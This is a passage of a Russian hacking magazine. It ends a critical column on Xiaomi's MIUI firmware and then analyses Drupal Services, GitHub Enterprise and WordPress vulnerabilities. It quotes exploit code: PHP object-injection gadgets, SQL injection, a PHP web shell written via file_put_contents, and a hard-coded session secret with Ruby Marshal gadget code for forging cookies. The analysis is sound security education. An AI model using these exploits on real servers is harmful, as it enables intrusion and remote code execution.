chROM.  Най ти  мож но  на  форумах.  Отли чает ся  тем,  что  пред став ляет
собой сто ковую про шив ку для  тво его аппа рата,  про пат ченную  так,  что бы
она выг лядела и работа ла как MIUI, плюс фир менные при ложе ния MIUI (и
все при ложе ния, оставши еся от сто ка).

•

Но  и  это  еще  не  все.  Зна чение  име ет  не  толь ко  ори ента ция  про шив ки
на рынок и источник, с  которо го ее мож но ска чать, но и ее вер сия. При чем
сов сем не в том смыс ле, в каком это зна чение име ет вер сия Android. К при ‐
меру, акту аль ная вер сия MIUI на момент написа ния этих строк — 8.3, вер сия
которой  7.3.30,  а  вер сия  Android,  на  которой  она  базиру ется,  —  Android
7.0 для смар тфо на Xiaomi Mi4S, Android 6.0 для смар тфо на Mi5S и Android 4.4,
если речь идет о Redmi 1S.

Ка ково? Что бы чуточ ку рас путать этот клу бок, ска жу, что 7.3.30 — не сов ‐
сем вер сия, а дата сбор ки. И да, про шив ка выг лядит и работа ет всег да оди ‐
нако во  незави симо  от  лежащей  в  осно ве  вер сии  Android.  Вот  толь ко  если
при ложе ние  тре бует  Android  6.0  для  сво ей  работы,  то  на Mi5S  ты  смо жешь
его уста новить, а вот на Redmi 1S уже нет. И это при оди нако вой вер сии MIUI.

ХАКИ И КОСТЫЛИ — НАШЕ ВСЕ
ОK,  погово рим  о  более  мир ских  вещах  —  об  интерфей се.  Вне  сом нений,
это  одна  из  луч ших  черт  ОС.  MIUI  кра сива,  фун кци ональ на  и  совер шенно
не  похожа  на  сто ковый  Android.  Поч ти  все  эле мен ты  офор мле ния  в  ней
перера бота ны  —  где‐то  идеи  поза имс тво ваны  у  iOS  и  Samsung  TouchWiz,
а где‐то отра жено собс твен ное видение дизай неров.

Но есть во всей этой кра соте  (или не кра соте, кому как) проб лемы. Пер ‐
вое,  что  ты  заметишь,  поль зуясь MIUI, —  это  икон ки  при ложе ний. Они  явно
выпол нены  по  гай длай нам  Apple:  квад ратные  с  зак ругле нием,  оди нако вого
раз мера,  исполь зуют  прос тые  линии  и  фигуры,  яркие.  На  пер вый  взгляд —
кра сиво.

На вто рой взгляд ты уже начина ешь видеть проб лемы. MIUI не исполь зует
спе циаль ные икон ки для сто рон него соф та, а вмес то это го либо умень шает
ори гиналь ную икон ку и раз меща ет ее внут ри квад рата со скруг ленны ми угла ‐
ми,  зак рашивая  сам  квад рат  раз личны ми  цве тами  на  осно ве  не  сов сем
понят ного алго рит ма, либо уве личи вает ее и скруг ляет углы. В резуль тате ты
видишь  на  экра не  нес коль ко  хорошо  про рабо тан ных  ико нок  сто ковых  при ‐
ложе ний и кучу ико нок сто рон них при ложе ний, зак лючен ных в раз ноцвет ные
квад раты (часть из которых будут зелены ми) либо обре зан ных по кра ям.

Изящ ные икон ки сто ковых при ложе ний vs цвет ное веселье из сто рон них
при ложе ний

Вто рое:  MIUI  поза имс тво вала  у  iOS  кон цепцию  «живых  ико нок»  (кален дарь
и  часы,  нап ример,  показы вают  реаль ное  вре мя  и  дату),  а  так же  бей джи,  то
есть инди като ры количес тва уве дом лений при ложе ния рядом с его икон кой.
Поэто му  икон ки  уве дом лений  в  стро ке  сос тояния  ста ли  как  бы  не  нуж ны,
и раз работ чики от них изба вились. Мож но попытать ся вер нуть икон ки, но они
сов сем не впи сыва ются в перера ботан ную стро ку сос тояния, при чем не впи ‐
сыва ются как раз икон ки сто ковых при ложе ний.

Ну и на слад кое: фир менные эле мен ты интерфей са MIUI исполь зует толь ‐
ко пре дус танов ленный софт. Весь осталь ной софт будет запус кать ся со стан ‐
дар тным  дизай ном  Android:  Material  для  нового  и  под держи ваемо го  соф та,
Holo  для  уста рев шего  соф та  и  дизай ном  Android  2.3  для  сов сем  древ него.
Кра сота, да и толь ко.

БОЛЬШЕ РАЗРЕШЕНИЙ ДЛЯ ПРИЛОЖЕНИЙ!
Очень стран ная чер та MIUI — сис тема раз решений при ложе ний. Как мы все
зна ем,  в  Android  6.0  появи лась  сис тема  зап роса  раз решений,  которая  поз ‐
воля ет  юзе ру  управлять  тем,  к  каким  фун кци ям  смар тфо на  при ложе ние
получит  дос туп,  а  к  каким  нет.  Реали зова но  все  это  так  же,  как  в  iOS,  —
с помощью выводи мого на экран диало га.

В Android 6.0 и выше все раз решения раз биты на семь клас сов  (камера,
мик рофон,  кон такты  и  так  далее),  что  поз воля ет  не  слиш ком  спа мить  зап ‐
росами:  даже  если  при ложе ние  хочет  получить  дос туп  вооб ще  ко  все му,
к  чему  толь ко  мож но,  кноп ку  «Раз решить»  при дет ся  нажать  не  более  семи
раз.

Раз работ чики  MIUI  соз дали  собс твен ную  сис тему  раз решений  еще  до
выхода Android 6.0. И работа ет она весь ма ори гиналь но. Нап ример, если ты
уста новишь Telegram,  то получишь зап рос раз решений  толь ко  три раза: два
раза при стар те (чте ние и модифи кация кон тактов) и еще один раз при попыт ‐
ке отпра вить фото (дос туп к камере). Вро де бы ничего стран ного, вот толь ко
записы вать  аудио,  получать  информа цию  о  мес тополо жении  и  сох ранять
фай лы на кар ту памяти Telegram смо жет без вся ких зап росов и бес покой ства
поль зовате ля.

Еще  более  инте рес ной  ситу ация  ста новит ся,  если  попытать ся  запус тить
при ложе ние, вооб ще не рас счи тан ное на работу в Android 6.0. То есть спо ‐
соб ное работать в Android 6.0, но соб ранное для более ран ней вер сии. Стан ‐
дар тный  Android  не  при меня ет  к  таким  при ложе ниям  сис тему  раз решений
(что бы не выз вать их сбой), но MIUI пос тупа ет ина че.

Для при мера возь мем AirDroid. Сра зу пос ле уста нов ки AirDroid уже будет
иметь дос туп к таким вещам, как информа ция о мес тополо жении, IMEI, всем
акка унтам поль зовате ля, камере, кар те памяти и даже смо жет управлять нас ‐
трой ками. Но! Тебе необ ходимо самос тоятель но выдать раз решение на чте ‐
ние исто рии звон ков, СМС и спис ка кон тактов.

Поль зуясь дру гими при ложе ниями, ты вре мя от вре мени будешь получать
зап рос раз решения на под клю чение к интерне ту  (при чем далеко не всег да)
или,  нап ример,  воз можнос ти  уста новить  при ложе ние  по  USB  (и  галоч ка
«Боль ше не спра шивать» впол не может и не работать). В MIUI есть и мно гие
дру гие типы раз решений, которых ты никог да не уви дишь в Android.

Спи сок раз решений AirDroid сра зу пос ле уста нов ки и зап рос раз ‐
решения для дос тупа в интернет в свод ке погоды

Как резуль тат: сис тема раз решений в MIUI вро де бы и есть, но работа ет она
неп ред ска зуемо и абсо лют но несов мести ма с ана логич ной сис темой из An‐
droid  6.0.  Какие‐то  раз решения  ты  дол жен  под тверждать,  какие‐то  сис тема
выдаст  сама,  и  все  это  без  раз деления  на  при ложе ния,  под держи вающие
зап рос раз решений, и при ложе ния, не под держи вающие.

СКАЖЕМ «НЕТ» ФОНОВОЙ АКТИВНОСТИ
Ну  и  наконец,  самое  вкус ное:  зап рет  на  реин карна цию  фоновых  служб  —
голов ная  боль  тысяч  поль зовате лей  и  раз работ чиков  при ложе ний.  Вкрат це
суть  в  сле дующем:  в  Android  любое  при ложе ние  может  запус тить  служ бу,
которая будет работать в фоне даже тог да, ког да само при ложе ние свер нуто
или  выг ружено  из  памяти.  Служ ба  может  быть  запуще на  в  режиме  START_‐
STICKY, что дела ет ее до какой‐то сте пени бес смертной: даже если механизм
осво бож дения памяти или таск‐кил лер ее прибь ет, сис тема тут же переза пус ‐
тит служ бу.

На  служ бы  полага ются мно гие  при ложе ния,  в  том  чис ле  некото рые мес ‐
сен дже ры, их могут исполь зовать сис темы защиты от кра жи смар тфо нов, поч ‐
товые кли енты и сис темы син хро низа ции с обла ком. Фоновая служ ба — час ‐
тое решение проб лемы тог да, ког да при ложе ние дол жно находить ся в фоне
и,  нап ример,  ждать  информа цию  от  сер вера.  Так же  служ бы  могут  быть
запуще ны внеш ним воз дей стви ем, нап ример при при ходе push‐уве дом ления
или при заг рузке сис темы. MIUI пол ностью лома ет эту сис тему, не поз воляя
служ бам переза пус кать ся. Отсю да появ ляет ся огромное количес тво неп рият ‐
ных ситу аций, ког да люди не видят уве дом лений о при шед ших пись мах, сооб ‐
щени ях и напоми нани ях.

Это  дей стви тель но  серь езная  проб лема,  и  на  пер вый  взгляд  может
показать ся  стран ным,  почему  раз работ чики  MIUI  не  пре дус мотре ли  воз ‐
можность отклю чить эту сис тему. А они пре дус мотре ли! Как ты дума ешь, где
находит ся интерфейс для отклю чения этой шту ки? Вот здесь: «Безопас ность
→ Раз решения → Авто запуск». Каково, а? Лег ко догадать ся, зачем на самом
деле нужен этот раз дел нас тро ек?

Ин терфейс для отклю чения сис темы зап рета на старт фоновых служб
находит ся в при ложе нии Security, в раз деле Permissions → Autostart

Но и это еще не все. На самом деле нель зя прос то  взять и отклю чить фун ‐
кцию зап рета на переза пуск служб, это надо делать для каж дого при ложе ния
инди виду аль но и отклю чать для каж дого толь ко что уста нов ленно го при ложе ‐
ния.  А  если  ты  никог да  это го  не  делал  и  у  тебя  не  было  никаких  проб лем
с при ходом уве дом лений, зна чит, ты прос то исполь зуешь гло баль ную вер сию
про шив ки (вот такая инте рес ная фраг мента ция в мире MIUI).

И  да,  я  отве чу  на  пре тен зию  тех,  кто  ска жет,  что  имен но  такая  фун кция
и даже в еще более жес ткой фор ме появи лась в Android O. Отве чу так: в An‐
droid  O  сис тема  зап рета  на  исполне ние  фоновых  служб  работа ет  исклю ‐
читель но в отно шении при ложе ний, соб ранных для Android O, то есть тех при ‐
ложе ний,  которые  уже  были  переве дены  на  JobScheduler  и  потому  будут
работать кор рек тно. Все уже написан ные и опуб ликован ные в Play Store при ‐
ложе ния про дол жат работать как рань ше.

ВЫВОДЫ
Ни в коем разе не хочу раз жигать холивар. MIUI весь ма юза бель на, и мно гие
счи тают ее более удоб ной, чем та же LineageOS. Цель этой колон ки — все го
лишь донес ти до тех, кто хочет уста новить MIUI или купить китай скую вер сию
смар тфо на Xiaomi, информа цию о том, с чем они могут стол кнуть ся. Лич но я
нахожу MIUI неудоб ной, перег ружен ной фун кци ональ ностью и слиш ком неп ‐
ред ска зуемой.

mailto:zobnin@glc.ru
https://play.google.com/store/apps/details?id=org.opengapps.app
https://xiaomi.eu/community/
http://en.miui.com/download.html
https://miui.su/
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АНАЛИЗ НОВЫХ УЯЗВИМОСТЕЙ

Сегодня мы разберем детали недавних уязвимостей в WordPress,
изучим RCE в GitHub и пройдемся по уязвимости в Drupal Services.
А на сладкое — нашумевшая уязвимость парсера Jakarta в Apache
Struts 2, из-за которой миллионы систем по всему миру были

скомпрометированы. И все это — в видеоформате!
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SQLI И УДАЛЕННОЕ ВЫПОЛНЕНИЕ ПРОИЗВОЛЬНОГО КОДА В DRUPAL
SERVICES < 7.X-3.19
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BRIEF
Уяз вимость сущес тву ет из‐за вклю чен ной по умол чанию под дер жки сери али ‐
зован ных PHP‐дан ных в зап росах. Это при водит к ата ке типа «внед рение объ ‐
ектов».

https://www.youtube.com/watch?v=BKoSwhv1wuQ-

EXPLOIT
В  прош лом  обзо ре  мы  рас смат ривали  уяз вимость  в  REST  API  WordPress.
Теперь  погово рим  о  проб леме  в  API  CMS Drupal.  Здесь  все  гораз до  серь ‐
езнее — к нам в руки попада ет пол ноцен ная RCE. В чем при чина? Давай раз ‐
бирать ся.

Пðè ÷èíû
В Drupal в отли чие от того же WordPress для реали зации REST API нуж но уста ‐
нав ливать  отдель ный  модуль  .  Пос ле  уста нов ки  мож но  заг лянуть
во вклад ку нас тро ек модуля и уви деть там галоч ку, с которой и свя зана уяз ‐
вимость.

Services

Нас трой ка Request parsing — при чина уяз вимос ти

По умол чанию под держи вают ся дан ные в фор матах:
application/vnd.php.serialized;•
multipart/form‐data;•
application/json;•
application/xml.•

Ес ли со вся кими JSON и XML все ясно, то что же такое  ?
Это не что иное, как сери али зован ные дан ные PHP. И если отпра вить зап рос
с  , то тело зап роса будет
переда но в  .

vnd.php.serialized

Content‐Type: application/vnd.php.serialized
unserialize()

:/modules/servers/rest_server/rest_server.module

52: function rest_server_request_parsers() {
53:   static $parsers = NULL;
54:   if (!$parsers) {
55:     $parsers = array(
...
58:       'application/vnd.php.serialized' => 'ServicesParserPHP',

:/modules/servers/rest_server/includes/ServicesParser.inc

14: class ServicesParserPHP implements ServicesParserInterface {
15:   public function parse(ServicesContextInterface $context) {
16:     return unserialize($context‐>getRequestBody());
17:   }
18: }

У нас на руках PHP Object Injection как из учеб ника. Для успешной экс плу ата ‐
ции оста лось прос мотреть исходни ки CMS и поис кать нуж ные гад жеты. Прав ‐
да, Чарльз уже все сде лал за нас, дос таточ но заг лянуть в  .экс пло ит

SQL Injection
Прос ледим  за  про цес сом  авто риза ции  по  коду.  За  эту  фун кцию  отве чает
метод  ./user/login

:/modules/services/resources/user_resource.inc

003: function _user_resource_definition() {
004:   $definition = array(
005:     'user' => array(
...
139:       'actions' => array(
140:         'login' => array(
141:           'help' => 'Login a user for a new session',
142:           'callback' => '_user_resource_login',
...
593: function _user_resource_login($username, $password) {
...
614:     $uid = user_authenticate($username, $password);

Мо дуль Services, в свою оче редь, фор миру ет зап рос к внут ренне му API ядра
Drupal, точ нее к фун кции  .user_authenticate

:/modules/user/user.module

2257: function user_authenticate($name, $password) {
...
2260:     $account = user_load_by_name($name);
...
2264:       if (user_check_password($password, $account)) {
2265:         // Successful authentication.
2266:         $uid = $account‐>uid;

Да лее  из  таб лицы  выбира ется  поль зователь  с  име нем,  передан ным
в парамет ре  . Если он сущес тву ет, то передан ный пароль срав нива ‐
ется с находя щим ся в базе.

username

На  этом  эта пе  нас  инте ресу ет,  каким  обра зом  отправ ляют ся  зап росы
к  базе.  Для  их  пос тро ения  в  Drupal  есть  клас сы 
и  .  Они  обра баты вают  переда ваемые  дан ные,  которые
затем отправ ляют ся в метод  .

SelectQueryExtender
DatabaseCondition

query
:/modules/user/user.module

397: function user_load_by_name($name) {
398:   $users = user_load_multiple(array(), array('name' => $name));

:/modules/user/user.module

290: function user_load_multiple($uids = array(), $conditions = array
(), $reset = FALSE) {
291:   return entity_load('user', $uids, $conditions, $reset);

:/includes/common.inc

8008: function entity_load($entity_type, $ids = FALSE, $conditions = 
array(), $reset = FALSE) {
...
8012:   return entity_get_controller($entity_type)‐>load($ids, 
$conditions);

:/includes/entity.inc

157:   public function load($ids = array(), $conditions = array()) {
...
196:       $query = $this‐>buildQuery($ids, $conditions, $revision_id
);
197:       $queried_entities = $query
198:         ‐>execute()

:/includes/database/select.inc

1272:   public function execute() {
...
1280:     return $this‐>connection‐>query((string) $this, $args, 
$this‐>queryOptions);

Об рати  вни мание,  что  переда ется  не  объ ект,  а  зап рос  в  тек сто вом  виде
(стро ка 1280). Для это го в клас се реали зован магичес кий метод 
,  который  кон верти рует  объ ект  в  при выч ный  SQL‐зап рос  с  парамет рами.
В ито ге он выг лядит так:

__toString(
)

SELECT base.uid AS uid, base.name AS name,
...
FROM
{users} base
WHERE  (base.name = :db_condition_placeholder_0)

API поз воля ет выпол нять под запро сы, если в качес тве парамет ра переда ется
объ ект, который явля ется экзем пля ром  .SelectQueryInterface

:/includes/database/query.inc

1652: class DatabaseCondition implements QueryConditionInterface, 
Countable {
...
1793:   public function compile(DatabaseConnection $connection, 
QueryPlaceholderInterface $queryPlaceholder) {
...
1838:             if ($condition['value'] instanceof SelectQueryInte
rface) {
1839:               $condition['value']‐>compile($connection, $queryP
laceholder);
1840:               $placeholders[] = (string) $condition['value'];
1841:               $arguments += $condition['value']‐>arguments();

Инъ екция  воз можна,  если  объ ект,  который  мы  переда дим  в  качес тве
парамет ра  , будет удов летво рять трем усло виям:username

ре али зует интерфейс  ;• SelectQueryInterface
име ет метод  ;• compile()
мы кон тро лиру ем его стро ковое пред став ление.•

Чарльз нашел два клас са, которые соот ветс тву ют этим усло виям, — 
 и  .

Select‐
QueryExtender DatabaseCondition

Пер вый мож но  исполь зовать  как  прок си. В  экс пло ите  свой ство   —
это  экзем пляр  ,  поэто му  при  кон верти рова нии  зап роса
в  стро ку  будет  выпол нен  метод    имен но  из  это го  клас са.  Он
и вер нет под кон троль ную нам стро ку.

query
DatabaseCondition

__toString()

:/includes/database/select.inc

536: class SelectQueryExtender implements SelectQueryInterface {
...
819:   public function __toString() {
820:     return (string) $this‐>query;
821:   }

Вот как эле ган тно реали зова на экс плу ата ция SQL‐инъ екции в экс пло ите.
:41564.php

046: class DatabaseCondition
...
054:     public $stringVersion = null;
...
056:     public function __construct($stringVersion=null)
057:     {
058:         $this‐>stringVersion = $stringVersion;
...
068: class SelectQueryExtender {
...
072:     protected $query = null;
...
078:     public function __construct($sql)
079:     {
080:         $this‐>query = new DatabaseCondition($sql);
...
102: $query = new SelectQueryExtender($query);

Стро ка попада ет в зап рос, и он успешно отра баты вает.

Ус пешная экс плу ата ция SQL‐инъ екции

Как  видишь,  автор  добавил  вывод  хеша  пароля  адми нис тра тора  в  качес тве
парамет ра  .signature_format

RCE
Для выпол нения про изволь ного кода в экс пло ите исполь зует ся манипу ляция
с  кешем. Модуль Services  кеширу ет  парамет ры и фун кции‐кол бэки для  каж ‐
дого роута, и они выпол няют ся при обра щении к это му роуту. Исполь зуя объ ‐
ект клас са  , мы можем изме нить поведе ние конеч ной точ ‐
ки API и ука зать любую фун кцию PHP для ее обра бот ки.

DrupalCacheArray

Дру гими сло вами, нам нуж но сде лать сле дующее:
из менить поведе ние  , ука зав   в качес ‐
тве фун кции‐обра бот чика;

• /user/login file_put_contents

выз вать  ;• /user/login
вер нуть стан дар тное поведе ние.•

Вос поль зуем ся осво енной нами SQL‐инъ екци ей и получим дан ные из кеша,
для того что бы изме нить толь ко нуж ные зна чения.

:41564.php

034: $endpoint = 'rest_endpoint';
...
084: $cache_id = "services:$endpoint:resources";
085: $sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
...
091: $query =
...
094:     "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signat
ure, " .
...
102: $query = new SelectQueryExtender($query);

За тем пат чим сущес тву ющее поведе ние.
:41564.php

036: $file = [
037:     'filename' => 'dixuSOspsOUU.php',
038:     'data' => '<?php eval(file_get_contents('php://input')); ?>'
039: ];
...
146: class DrupalCacheArray
147: {
...
156:     function __construct($storage, $endpoint, $controller, 
$action) {
...
160:         $this‐>cid = "services:$endpoint:resources";
...
165:             $storage[$controller]['actions'][$action] = [
166:                 'help' => 'Writes data to a file',
167:                 # Callback function
168:                 'callback' => 'file_put_contents',
...
175:                     0 => [
176:                         'name' => 'filename',
...
178:                         'description' => 'Path to the file',
...
182:                     1 => [
183:                         'name' => 'data',
...
185:                         'description' => 'The data to write',

Все,  что  оста лось,  —  это  сде лать  зап рос  на  пат ченный  роут.  В  качес тве
парамет ров  ука зыва ем путь  до фай ла  ( )  и  его  содер жимое  ( ).
Отправ ляем и получа ем шелл.

filename data

Ус пешная заг рузка фай ла и выпол нение кода

Я нем ного изме нил экс пло ит Чарль за. Добавил воз можность работать через
коман дную стро ку, а так же вывод и сох ранение всех дан ных, которые отправ ‐
ляют ся и которые воз вра щают ся сер вером. Мою вер сию мож но пос мотреть

.тут

TARGETS
Drupal Services вет ки 7.x‐3.x до вер сии 7.x‐3.18.

SOLUTION
Уяз вимость исправ лена в вер сии модуля 7.x‐3.19. При чем, как пишет Чарльз,
коман де  безопас ников  Drupal  хва тило  сорока  минут,  что бы  изу чить  его
репорт  и  пред ложить  патч,  который  устра няет  проб лему.  Воис тину  быс трая
обратная связь!

https://www.youtube.com/watch?v=BKoSwhv1wuQ
https://www.drupal.org/project/services
https://github.com/kylebrowning/services/blob/7.x-3.18/servers/rest_server/rest_server.module#L52
https://github.com/kylebrowning/services/blob/7.x-3.18/servers/rest_server/includes/ServicesParser.inc#L14
https://www.exploit-db.com/exploits/41564/
https://github.com/kylebrowning/services/blob/7.x-3.18/resources/user_resource.inc#L3
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УДАЛЕННОЕ ВЫПОЛНЕНИЕ ПРОИЗВОЛЬНОГО КОДА В GITHUB ENTER-
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BRIEF
Эта    сущес тву ет  из‐за  при мене ния  ста тичес кого  клю ча

  сес сии.  Ата кующий  может  отпра вить  про изволь ные  дан ные
и  под твер дить  их  валид ность  с  помощью  сиг натуры,  исполь зуя  извес тный
ключ. Отпра вив спе циаль но сфор мирован ный сери али зован ный объ ект, ата ‐
кующий может ском про мети ровать сис тему. Сери али зован ные дан ные будут
пре обра зова ны в объ ект Ruby при помощи модуля Marshal и выпол нены.

уяз вимость
для  подписи

https://www.youtube.com/watch?v=ApfR3rfun4Y-

EXPLOIT
Для  тес тирова ния  уяз вимос ти  я    и  раз вернул  копию GitHub Enterprise
вер сии 2.8.5 в виде обра за вир туаль ной машины в фор мате OVA.

ска чал

Го товая к прик лючени ям вир туал ка GitHub Enterprise

Те перь  давай  раз бирать ся  в  при чинах  уяз вимос ти  и  спо собе  ее  экс плу ата ‐
ции.

Кîí ñòàí òà SECRET è âàëèäà öèÿ ñåñ ñèè
Пос мотрим  на  исходник  спло ита.  Он  написан  на  чис том  Ruby,  в  то  вре мя
как  сам GitHub  Enterprise  поч ти  пол ностью  на  Ruby  с  исполь зовани ем  Ruby
on Rails и веб‐фрей мвор ка Sinatra.

:41616.rb

1: #!/usr/bin/ruby
...
7: SECRET = "641dd6454584ddabfed6342cc66281fb"

На чало мно гообе щающее. Что же это за   такой? Обра щаем ся к сор ‐
цам  GitHub  Enterprise.  Прос то  так  это  сде лать  не  получит ся,  пос коль ку  они
находят ся  в  лег кой ста дии обфуска ции. Для это го  в GitHub исполь зуют  кас ‐
томную биб лиоте ку.

SECRET

Об фусци рован ные исходни ки GitHub Enterprise

Зап рос    в  Гуг ле  рас ска жет  тебе
о том, что для обфуска ции исполь зует ся XOR с клю чом 

  и  пос леду ющим  сжа тием  по  алго рит му  deflate. 
поможет спра вить ся с «защитой». Запус кать его нуж но из дирек тории  .

<span  class=nobr>ruby_concealerspan>
This obfuscation is

intended  to  discourage  GitHub  Enterprise  customers  from  making
modifications  to  the  VM.  We  know  this  'encryption'  is  easily
broken Этот  скрипт  на Ruby

/data

Об нажен ные исходни ки GitHub Enterprise

Ин терфейс кон соли управле ния явля ется Rack‐при ложе нием, поэто му давай
заг лянем внутрь фай ла config.ru.

:/data/enterprise-manage/current/config.ru

62: # Enable sessions
63: use Rack::Session::Cookie,
64:   :key          => "_gh_manage",
65:   :path         => "/",
66:   :expire_after => 1800, # 30 minutes in seconds
67:   :secret       => ENV["ENTERPRISE_SESSION_SECRET"] || "641dd6
454584ddabfed6342cc66281fb"

А  вот  и  SECRET!  Перемен ная    по  умол чанию
ниг де не уста нав лива ется, поэто му   на всех сер верах име ет оди нако ‐
вое  зна чение  —  .  Как  орга низо ван
интерфейс  работы  с  сес сиями  в  Rack,  ты  можешь  деталь но  изу чить 

. Если вкрат це, то алго ритм такой:

ENTERPRISE_SESSION_SECRET
SECRET

641dd6454584ddabfed6342cc66281fb
в  его

исходни ках
дан ные при ложе ния записы вают ся в перемен ную ENV["rack.session"];•
ис поль зует ся  модуль  Marshal  для  сери али зации  дан ных  при ложе ния
в стро ку;

•

се риали зован ные дан ные кодиру ются в Base 64;•
к  получен ной  стро ке  добав ляет ся  кон троль ная  сум ма  .
Исполь зуют ся дан ные сес сии, а в качес тве соли сто ит  ;

• HMAC::SHA-1
:secret

по лучен ная стро ка сох раня ется в куке  .• _gh_manage

Что бы про верить, уяз вимо ли при ложе ние, про делы ваем обратную про цеду ‐
ру. Берем сущес тву ющую куку, отде ляем дан ные Base 64, счи таем от них хеш
и  про веря ем,  сов пада ет  ли  он  с  тем,  что  ука зан  в  куке.    можешь  пос ‐
мотреть исходник алго рит ма, выпол нить его и уви деть резуль тат.

Тут

Это пер вый шаг, который выпол няет экс пло ит.
:41616.rb

58: # Parse the cookie
59: begin
...
65: rescue
66:   not_vulnerable

Ес ли  про вер ка  про ходит  успешно,  зна чит,  вер сия  уяз вима  и  мы  можем
переда вать  любые  дан ные  в фун кцию  .  Если  ты  не  зна ешь,
что это такое, то советую про читать про  . Фор ‐
мат Marshal,  помимо про чих  типов дан ных, раз реша ет сох ранение объ ектов
и  их  исполь зование  пос ле  заг рузки.  Это  откры вает  огромный  прос тор
для экс плу ата цион ного твор чес тва. Нам нуж но соб рать такой объ ект, который
выпол нит код пос ле дос тупа к нему.

Marshal.load()
се риали зацию объ ектов в Ruby

Пîä ãîòîâ êà îáú åêòîâ äëÿ RCE
Для  начала  раз берем ся  непос редс твен но  с  выпол нени ем  кода.  В  Ruby
on Rails пред став ления опи сыва ются при помощи шаб лонов Embedded Ruby
(ERB). Модуль  Erubis  чита ет файл  .erb  и  генери рует  объ ект  .
Текст из шаб лона копиру ется в перемен ную @src. Пос ле вызова метода 

 код из этой перемен ной выпол няет ся.

Erubis::Eruby
res‐

ult
:lib/erubis/evaluator.rb

10: module Erubis
...
52:     ## eval(@src) with binding object
53:     def result(_binding_or_hash=TOPLEVEL_BINDING)
...
65:       return eval(@src, _b, (@filename || '(erubis'))

По это му пер вым делом соз даем объ ект   и помеща ем в 
нуж ный нам код на Ruby.

Erubis::Eruby @src

:41616.rb

78: erubis = Erubis::Eruby.allocate
79: erubis.instance_variable_set :@src, "#{code}; 1"

Ос талась еще одна проб лема. Нуж но каким‐то обра зом выз вать метод result
у ново испе чен ного объ екта. Для это го мож но вос поль зовать ся клас сом 

 из модуля ActiveSupport в Rails. Он исполь зует ‐
ся для того, что бы объ являть перемен ные уста рев шими.

De‐
precatedInstanceVariableProxy

:41616.rb

80: proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariab
leProxy.allocate
81: proxy.instance_variable_set :@instance, erubis
82: proxy.instance_variable_set :@method, :result
83: proxy.instance_variable_set :@var, "@result"

При вызове при ложе ние вер нет пре дуп режде ние о  том,  что перемен ная er‐
ubis  уста рела,  а  магичес кий  метод    вызовет  метод,  ука зан ный  нами
в  .

send
@method

:/activesupport/lib/active_support/deprecation/proxy_wrappers.rb

089:     class DeprecatedInstanceVariableProxy < DeprecationProxy
090:       def initialize(instance, method, var = "@#{method}", 
deprecator = ActiveSupport::Deprecation.instance)
091:         @instance = instance
092:         @method = method
...
098:         def target
099:           @instance.<span class=nobr>send</span>(@method)
...
102:         def warn(callstack, called, args)
103:           @deprecator.warn("#{@var} is deprecated! Call #{
@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect
}", callstack)

Те перь  при  получе нии  дос тупа  к    будет  выз ван  метод
, который и выпол нит наш код.

session["exploit"]
erubis.result

:41616.rb

85: session = {"session_id" => "", "exploit" => proxy}

Вû ïîë íåíèå ïðî èçâîëü íîãî êîäà
Ос тает ся  толь ко  сери али зовать  получен ный  объ ект,  кодиро вать  в  Base 64,
под писать извес тным нам клю чом и записать получен ную стро ку в 

.
_gh_man‐

age
:41616.rb

87: # Marshal session
88: dump = [Marshal.dump(session)].pack("m")
89: hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET,
 dump)
90:
91: puts "[+] Sending cookie..."
92:
93: rqst = Net::HTTP::Get.new("/")
94: rqst['Cookie'] = "_gh_manage=#{CGI.escape("#{dump}‐‐#{hmac}")}"
95:
96: res = http.request(rqst)

Да лее отправ ляем зап рос с  готовой кукой на сер вер, и,  ура‐ура,  теперь мы
можем выпол нять любые коман ды на сер вере.

Экс пло ит успешно отра ботал. Коман да выпол нена

Ес ли  не  хочешь  возить ся  с  Ruby,  можешь  вос поль зовать ся  .
Меня ешь перемен ную  ,  нажима ешь Run и на  выходе получа ешь  готовую
куку. Очень удоб но исполь зовать при тес тирова ниях на про ник новение.

этой  ссыл кой
cmd

TARGETS
GitHub Enterprise 2.8.0 < 2.8.6.

SOLUTION
Раз работ чики  испра вили  уяз вимость  в  новой  вер сии  при ложе ния,  а  так же
выпус тили  патч  для  вер сий  ниже  2.8.6.  Теперь  при  уста нов ке  выпол няет ся
скрипт, который генери рует ран домный сек ретный ключ.

https://www.exploit-db.com/exploits/41616/
https://www.youtube.com/watch?v=ApfR3rfun4Y
https://github-enterprise.s3.amazonaws.com/esx/releases/github-enterprise-2.8.5.ova
https://www.exploit-db.com/exploits/41616/
https://gist.github.com/allyshka/0a837cfaf75fce20db9db3164dd119f7
https://github.com/rack/rack/blob/master/lib/rack/session/cookie.rb
https://repl.it/G5pN
https://www.exploit-db.com/exploits/41616/
https://ruby-doc.org/core-2.4.0/Marshal.html
https://github.com/kwatch/erubis/blob/master/lib/erubis/evaluator.rb#L52
https://www.exploit-db.com/exploits/41616/
http://api.rubyonrails.org/classes/ActiveSupport/Deprecation/DeprecatedInstanceVariableProxy.html
https://www.exploit-db.com/exploits/41616/
https://ruby-doc.org/core-2.4.0/Object.html#send-method
https://github.com/rails/rails/blob/master/activesupport/lib/active_support/deprecation/proxy_wrappers.rb#L89
https://www.exploit-db.com/exploits/41616/
https://www.exploit-db.com/exploits/41616/
https://repl.it/G8A4
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BRIEF
В WordPress вер сий до 4.7.3 воз можен меж сай товый скрип тинг из‐за отсутс ‐
твия про вер ки поль зователь ских дан ных,  а имен но  ID3‐тегов в  заг ружа емых
ауди офай лах. Так же отсутс тву ет огра ниче ние на количес тво заг ружа емых URL
и раз мер фай лов,  что откры вает воз можность для атак  типа «отказ в обслу ‐
жива нии».

https://www.youtube.com/watch?v=9ib3WGhP_5k-

EXPLOIT
Для начала зай мем ся XSS. Корень уяз вимос ти  кро ется в  том,  что WordPress
пар сит  ID3‐теги  заг ружа емых  ауди офай лов.  Из  них  он  берет  информа цию
о наз вании ком позиции, ее исполни теле, аль боме и тому подоб ные дан ные.
Пару  лет  назад  наша  коман да  обна ружи ла  XXE‐уяз вимость  в  механиз ме
работы с тегами. Если ты ее про пус тил или забыл,  то рекомен дую осве жить
в памяти и   неболь шой матери ал.про читать

Я  раз вернул  WordPress  вер сии  4.7.2  и  соз дал    дли ной  в  одну
секун ду, где в качес тве име ни исполни теля буду исполь зовать XSS.

